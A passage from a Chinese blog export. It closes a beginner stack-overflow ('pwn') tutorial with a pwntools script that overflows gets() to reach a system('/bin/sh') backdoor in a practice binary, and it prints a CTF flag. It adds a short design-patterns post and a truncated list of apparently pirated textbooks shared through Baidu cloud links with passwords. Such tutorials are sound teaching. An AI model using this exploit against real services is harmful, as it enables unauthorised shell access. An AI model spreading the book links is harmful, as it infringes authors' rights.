rbp\u003c/code\u003e与\u003ccode\u003emov rbp, rsp\u003c/code\u003e,我们不难从指令的英文释义上知道其流程:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e将bp寄存器的值压入栈中\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e将sp寄存器的值赋给bp寄存器\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/re1Z5dROXLE8PHp.png\" alt=\"9CF0F7F5A8DA1972F88EF480E4FB6271.png\"/\u003e\u003c/p\u003e\u003cp\u003e接下来的\u003ccode\u003esub rsp, 20h\u003c/code\u003e指令的作用是\u003cstrong\u003e开辟栈空间\u003c/strong\u003e,处在sp与bp之间的这一块区域便用于储存数据\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/EPZ2iyr5UnQsgex.png\" alt=\"A422C008B65723152D16FDDAD8421B38.png\"/\u003e\u003c/p\u003e\u003cp\u003e我们的\u003ccode\u003echar str[20];\u003c/code\u003e所占用的空间也在这里,同时我们可以发现我们\u003cstrong\u003e虽然只分配了20个字节给str,但是程序却开辟了0x20个字节的数据,这是因为程序还要储存一些其他的数据\u003c/strong\u003e(以后会学到)\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/nM84Expy1KVLGc6.png\" alt=\"227643CB6A805274DA147132CC0413DE.png\"/\u003e\u003c/p\u003e\u003cp\u003e那么接下来就进入到我们对\u003ccode\u003egets()\u003c/code\u003e函数的漏洞的利用过程了,由于其不限制我们输入的字符串的长度,我们可以\u003cstrong\u003e将返回地址前面的数据全部填充\u003c/strong\u003e(\u003cstrong\u003epadding\u003c/strong\u003e)\u003cstrong\u003e掉,并将返回地址覆写为别的地址,改变程序的执行流程\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/6Nt9GE1BWZ5ij2R.png\" alt=\"AF0BBCCF20D852033C201460B566F5DA.png\"/\u003e\u003c/p\u003e\u003cp\u003e我们最终的目的是\u003cstrong\u003e获取到shell\u003c/strong\u003e,那么只要程序当中存在着\u003ccode\u003esystem(\u0026#34;/bin/sh\u0026#34;)\u003c/code\u003e的函数调用,我们再将程序返回到其地址上,即可get shell\u003c/p\u003e\u003cp\u003e构造payload如下\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epayload = \u003cspan class=\"string\"\u003eb\u0026#39;A\u0026#39;\u003c/span\u003e*(\u003cspan class=\"number\"\u003e0x20\u003c/span\u003e+\u003cspan class=\"number\"\u003e8\u003c/span\u003e) + p64(sys_addr) \u003cspan class=\"comment\"\u003e# 别忘了8字节的rbp哟\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们之前在程序当中写了一个\u003ccode\u003ebackdoor()\u003c/code\u003e函数,其中包含有能够getshell的语句,同时我们在IDA中可以看到其地址为\u003ccode\u003e0x400547\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/wg6HRpMc9mLdaBU.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"攻击神器:pwntools\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E6%94%BB%E5%87%BB%E7%A5%9E%E5%99%A8%EF%BC%9Apwntools\" class=\"headerlink\" title=\"攻击神器:pwntools\"\u003e\u003c/a\u003e攻击神器:pwntools\u003c/h4\u003e\u003cp\u003e接下来我们就需要考虑到如何将我们所构思出来的payload给输入到程序中了,那么这里我们就要用到一个对于每一位Pwner都十分重要的python库——\u003cstrong\u003epwntools\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003epwntools需要在\u003cstrong\u003eLinux\u003c/strong\u003e系统下使用(如Ubuntu、manjaro、kali等)\u003c/p\u003e\u003cp\u003e在shell中输入如下指令安装pwntools\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta prompt_\"\u003e$ \u003c/span\u003e\u003cspan class=\"language-bash\"\u003esudo pip install pwntools\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/blockquote\u003e\u003cp\u003e使用pwntools库我们可以很方便地输入相应的payload\u003c/p\u003e\u003cp\u003e接下来我们就该开始构造我们用以get shell的脚本了,利用pwntools库,构造exp如下:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e pwn \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e * \u003cspan class=\"comment\"\u003e# 从pwntools库中导入所需要的一切\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = process(\u003cspan class=\"string\"\u003e\u0026#39;./test\u0026#39;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 运行一个程序\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 需要注意的是,在连接远程服务器的时候,使用的是remote()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# p = remote(addr,port)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 如:p = remote(\u0026#39;sec.arttnba3.cn\u0026#39;,10001)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep.recv() \u003cspan class=\"comment\"\u003e# 从程序中读取输入直到下一个断点(如遇到输入语句)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esys_addr = p64(\u003cspan class=\"number\"\u003e0x400547\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 将地址构造为符合小端模式的bytes数组,长度为8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 需要注意的是在32位下应当使用p32(),长度为4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epayload = \u003cspan class=\"string\"\u003eb\u0026#39;A\u0026#39;\u003c/span\u003e*\u003cspan class=\"number\"\u003e0x28\u003c/span\u003e + sys_addr \u003cspan class=\"comment\"\u003e# 构造我们的payload\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep.sendline(payload) \u003cspan class=\"comment\"\u003e# 向程序发送我们的输入\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 需要注意的是,sendline()会在末尾添加换行符\u0026#39;\\n\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 若不想要发送多余的换行符,可以使用send()方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep.interactive() \u003cspan class=\"comment\"\u003e# 程序进入interactive模式,即进入我们与程序直接交互的界面\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e成功get shell\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/19/gaKMp2WFLs8coRJ.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cp\u003e至此,我们已经完成了\u003cstrong\u003e从0开始利用gets()函数的栈溢出漏洞获取最高权限的整个过程\u003c/strong\u003e,接下来就该靠你自己的努力,去分析、利用每一个可以被利用的系统漏洞,夺取最高权限了\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e为了拥有“能够getshell任意一台设备”的能力而努力吧!新生代的黑客们!\u003c/strong\u003e\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003emoectf{PWN_T0_0WN!}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/"},{"title":"关于设计模式","time":"2021-07-08T02:32:57Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003cimg src=\"https://www.runoob.com/wp-content/uploads/2014/08/the-relationship-between-design-patterns.jpg\" alt=\"题图\"/\u003e\u003c/p\u003e\u003ch3 id=\"概念\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/%E5%85%B3%E4%BA%8E%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/#%E6%A6%82%E5%BF%B5\" class=\"headerlink\" title=\"概念\"\u003e\u003c/a\u003e概念\u003c/h3\u003e\u003cp\u003e先搬一下介绍(\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e设计模式(Design pattern)代表了最佳的实践,通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段时间的试验和错误总结出来的。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e设计模式是一套被反复使用的、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了重用代码、让代码更容易被他人理解、保证代码可靠性。 毫无疑问,设计模式于己于他人于系统都是多赢的,设计模式使代码编制真正工程化,设计模式是软件工程的基石,如同大厦的一块块砖石一样。项目中合理地运用设计模式可以完美地解决很多问题,每种模式在现实中都有相应的原理来与之对应,每种模式都描述了一个在我们周围不断重复发生的问题,以及该问题的核心解决方案,这也是设计模式能被广泛应用的原因。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在着手写代码之前,应该先规划好要如何去写,即所谓的成竹在胸。这个过程中,首先需要根据实际需要选择设计模式。\u003c/p\u003e\u003cp\u003e比如,如果我需要写一个计算器,那么我就需要先考虑清楚处理流程。然后,根据流程的复杂度和其他因素,决定是否使用面向对象方法。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/%E5%85%B3%E4%BA%8E%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"},{"title":"计算机书籍收集","time":"2021-07-08T00:33:53Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e直接放上原作者的链接吧(\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e计算机类的书籍那么贵,作为一个几个小时看完一本书且机不离身的程序员,天天买纸质书是不可能的了,所以对电子书的需求量还是挺多的。为了方便广大的小伙伴也能方便找到对应的电子书,我花费洪荒之力从各个搜索网站收集了几百本常用的电子书。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e重要说明\u003c/strong\u003e:\u003cstrong\u003e如果目录无法跳转的话,直接拉下去就可以了\u003c/strong\u003e,这些书籍都是在同一个页面的,我只是方便大家找到对应的,弄了一个\u003cstrong\u003e页内目录\u003c/strong\u003e,不过有部分读者反馈他跳转不了(手机是绝对跳转不了的了)。\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95%E7%9B%B8%E5%85%B3%E4%B9%A6%E7%B1%8D\"\u003e数据结构与算法相关书籍\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9F%BA%E7%A1%80\"\u003e计算机基础\u003c/a\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F\"\u003e操作系统\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80\"\u003e汇编语言\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C\"\u003e计算机网络\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#python\"\u003ePython\u003c/a\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#1python%E5%9F%BA%E7%A1%80\"\u003e1、Python基础\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#2%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B8%8E%E7%88%AC%E8%99%AB\"\u003e2、数据分析与爬虫\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#linux\"\u003eLinux\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#c%E8%AF%AD%E8%A8%80\"\u003eC语言\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#c\"\u003eC++\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD\"\u003e人工智能\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\"\u003e设计模式\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#java\"\u003eJava\u003c/a\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#java-%E5%9F%BA%E7%A1%80\"\u003eJava 基础\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%95%B0%E6%8D%AE%E5%BA%93\"\u003e数据库\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#go\"\u003eGo\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E9%9D%A2%E8%AF%95%E7%9B%B8%E5%85%B3\"\u003e面试相关\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"数据结构与算法相关书籍\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95%E7%9B%B8%E5%85%B3%E4%B9%A6%E7%B1%8D\" class=\"headerlink\" title=\"数据结构与算法相关书籍\"\u003e\u003c/a\u003e数据结构与算法相关书籍\u003c/h1\u003e\u003cul\u003e\u003cli\u003e1.1《啊哈!算法 啊哈磊扫描版》 \u003ca href=\"https://pan.baidu.com/s/1wIfHrFXhbzF_TMaR_hNe-A\"\u003e百度云下载链接\u003c/a\u003e 密码: 5h9s\u003c/li\u003e\u003cli\u003e1.2《算法图解》 \u003ca href=\"https://pan.baidu.com/s/1uqpuVxh4al9YMIRhcVYaug\"\u003e百度云下载链接\u003c/a\u003e 密码: shda\u003c/li\u003e\u003cli\u003e1.3《妙趣横生的算法(C语言实现 第2版)》 \u003ca href=\"https://pan.baidu.com/s/1rxuKW1hPsfrQfWToSiYhOA\"\u003e百度云下载链接\u003c/a\u003e 密码: 6m7s\u003c/li\u003e\u003cli\u003e1.4《趣学算法》 \u003ca href=\"https://pan.baidu.com/s/1ZY8OwWQOLM31GdWufJhjnw\"\u003e百度云下载链接\u003c/a\u003e 密码: tu4r\u003c/li\u003e\u003cli\u003e1.5《大话数据结构》 \u003ca href=\"https://pan.baidu.com/s/1b8ebNBHmMPhRtWGq-lUrpA\"\u003e百度云下载链接\u003c/a\u003e 密码: tlrq\u003c/li\u003e\u003cli\u003e1.6《算法神探完整版》 \u003ca href=\"https://pan.baidu.com/s/1vjD0uhIkyxpVirvIFIKVfQ\"\u003e百度云下载链接\u003c/a\u003e 密码: ia5d\u003c/li\u003e\u003cli\u003e1.7《算法帝国》 \u003ca href=\"https://pan.baidu.com/s/1JRlBFaoHt8Ij1OEltFqQSQ\"\u003e百度云下载链接\u003c/a\u003e 密码: uwp8\u003c/li\u003e\u003cli\u003e1.8《算法设计与分析基础第3版》 \u003ca href=\"https://pan.baidu.com/s/1sEg_34upNP9hvfNsAksINg\"\u003e百度云下载链接\u003c/a\u003e 密码: kpff\u003c/li\u003e\u003cli\u003e2.1《算法导论_英文版_第三版》 \u003ca href=\"https://pan.baidu.com/s/14mf0dwJG8JWZ8jSznkEWgg\"\u003e百度云下载链接\u003c/a\u003e 密码: ecms\u003c/li\u003e\u003cli\u003e2.1《算法导论中文版》 \u003ca href=\"https://pan.baidu.com/s/1snNp5a1rjM6QCryQ-XNWQg\"\u003e百度云下载链接\u003c/a\u003e 密码: fpqn\u003c/li\u003e\u003cli\u003e2.2《算法 (第4版)》 \u003ca href=\"https://pan.baidu.com/s/1TD8Nb_P7mlyyduzWGdrXZw\"\u003e百度云下载链接\u003c/a\u003e 密码: k7ah\u003c/li\u003e\u003cli\u003e2.3《数据结构与算法 Java版》 \u003ca href=\"https://pan.baidu.com/s/1BaY8bL3prf-QOcvrWzH4oA\"\u003e百度云下载链接\u003c/a\u003e 密码: jw81\u003c/li\u003e\u003cli\u003e2.4《Algorithms算法概论中文版》 \u003ca href=\"https://pan.baidu.com/s/1EaBLy3p-UvZOGQXrzskB-A\"\u003e百度云下载链接\u003c/a\u003e 密码: goi3\u003c/li\u003e\u003cli\u003e2.5《算法心得-高效算法的奥秘(原书第2版)》 \u003ca href=\"https://pan.baidu.com/s/14F5cjh1yGaslAM3RLGqWhg\"\u003e百度云下载链接\u003c/a\u003e 密码: nsip\u003c/li\u003e\u003cli\u003e2.6《计算机程序设计艺术 第1卷:基本算法(第三版)高清中文版》 \u003ca href=\"https://pan.baidu.com/s/1xrcyTNy3ZhRv_s-bwdshcA\"\u003e百度云下载链接\u003c/a\u003e 密码: 931f\u003c/li\u003e\u003cli\u003e2.7《计算机程序设计艺术 第2卷:半数值算法(第三版)高清中文版》 \u003ca href=\"https://pan.baidu.com/s/1QR_yk70GAcL-tcqs4KCgZQ\"\u003e百度云下载链接\u003c/a\u003e 密码: m4mh\u003c/li\u003e\u003cli\u003e2.8《计算机程序设计艺术 第3卷:排序与查找(第二版)高清中文版》 \u003ca href=\"https://pan.baidu.com/s/16G3jYuIn6BZcOMb7iTxNNQ\"\u003e百度云下载链接\u003c/a\u003e 密码: o1r4\u003c/li\u003e\u003cli\u003e2.9《计算机算法设计与分析 第4版 (王晓东) 课后答案[1-9章]》 \u003ca href=\"https://pan.baidu.com/s/1wTnM_P4hxUwNQiIk9u4YsQ\"\u003e百度云下载链接\u003c/a\u003e 密码: 9rjh\u003c/li\u003e\u003cli\u003e2.9《计算机算法设计与分析(第三版)课后习题答案详解》 \u003ca href=\"https://pan.baidu.com/s/1O-WWwzo30-SMwyNDAU1EuA\"\u003e百度云下载链接\u003c/a\u003e 密码: 124d\u003c/li\u003e\u003cli\u003e2.9《计算机算法设计与分析(王晓东)(第二版)》 \u003ca href=\"https://pan.baidu.com/s/1iFsj3uRj1Rzsl7y2lUtyZA\"\u003e百度云下载链接\u003c/a\u003e 密码: wqep\u003c/li\u003e\u003cli\u003e2.9《计算机算法设计与分析(王晓东)(第三版)》 \u003ca href=\"https://pan.baidu.com/s/17MYsfryX1Rf5-2fqbVJMSg\"\u003e百度云下载链接\u003c/a\u003e 密码: 761w\u003c/li\u003e\u003cli\u003e2.9《数据结构(C语言版)-严蔚敏 吴伟民, 清华大学出版社, 2007》 \u003ca href=\"https://pan.baidu.com/s/1ESlmlqTpLi7FirsVZg8hxQ\"\u003e百度云下载链接\u003c/a\u003e 密码: u86s\u003c/li\u003e\u003cli\u003e2.10《Java数据结构和算法(第二版)》 \u003ca href=\"https://pan.baidu.com/s/1RnRIRERCTDZCwBHluyAJvA\"\u003e百度云下载链接\u003c/a\u003e 密码: eb8k\u003c/li\u003e\u003cli\u003e2.11《编程原本》 \u003ca href=\"https://pan.baidu.com/s/1T3Y3EfF0iBydxRpXNxDF_w\"\u003e百度云下载链接\u003c/a\u003e 密码: 0hfj\u003c/li\u003e\u003cli\u003e2.12《算法设计手册第2版 中文版330页》 \u003ca href=\"https://pan.baidu.com/s/1vm8oLORzm6H2eJ9vQVdQ4w\"\u003e百度云下载链接\u003c/a\u003e 密码: 39mu\u003c/li\u003e\u003cli\u003e2.13《JavaScrit数据结构与算法(第2版)》 \u003ca href=\"https://pan.baidu.com/s/1Rb-x1zcyWrpTHojP0SL5Og\"\u003e百度云下载链接\u003c/a\u003e 密码: q6uc\u003c/li\u003e\u003cli\u003e2.14《数据结构与算法分析:C语言描述(原书第2版)》 \u003ca href=\"https://pan.baidu.com/s/1VDvhmGAzsouiTAfaNqyU4Q\"\u003e百度云下载链接\u003c/a\u003e 密码: gw2k\u003c/li\u003e\u003cli\u003e2.15《数据结构与算法Python语言描述_裘宗燕编著_北京:机械工业出版社_》 \u003ca href=\"https://pan.baidu.com/s/1ukn-MQwd_QGd5mB3D9ntPA\"\u003e百度云下载链接\u003c/a\u003e 密码: 6r3v\u003c/li\u003e\u003cli\u003e3.1《挑战程序设计竞赛(第2版)》 \u003ca href=\"https://pan.baidu.com/s/1tkpkaQDK4bdIiD0Cyg5ZXg\"\u003e百度云下载链接\u003c/a\u003e 密码: huat\u003c/li\u003e\u003cli\u003e3.2《算法艺术与信息学竞赛(清华大学出版社)》 \u003ca href=\"https://pan.baidu.com/s/10Bb59HDsXfi4_BTNHHtWJQ\"\u003e百度云下载链接\u003c/a\u003e 密码: cebh\u003c/li\u003e\u003cli\u003e3.3《算法谜题》 \u003ca href=\"https://pan.baidu.com/s/1DdnBAVc5I0KLcjMs-i6cnw\"\u003e百度云下载链接\u003c/a\u003e 密码: 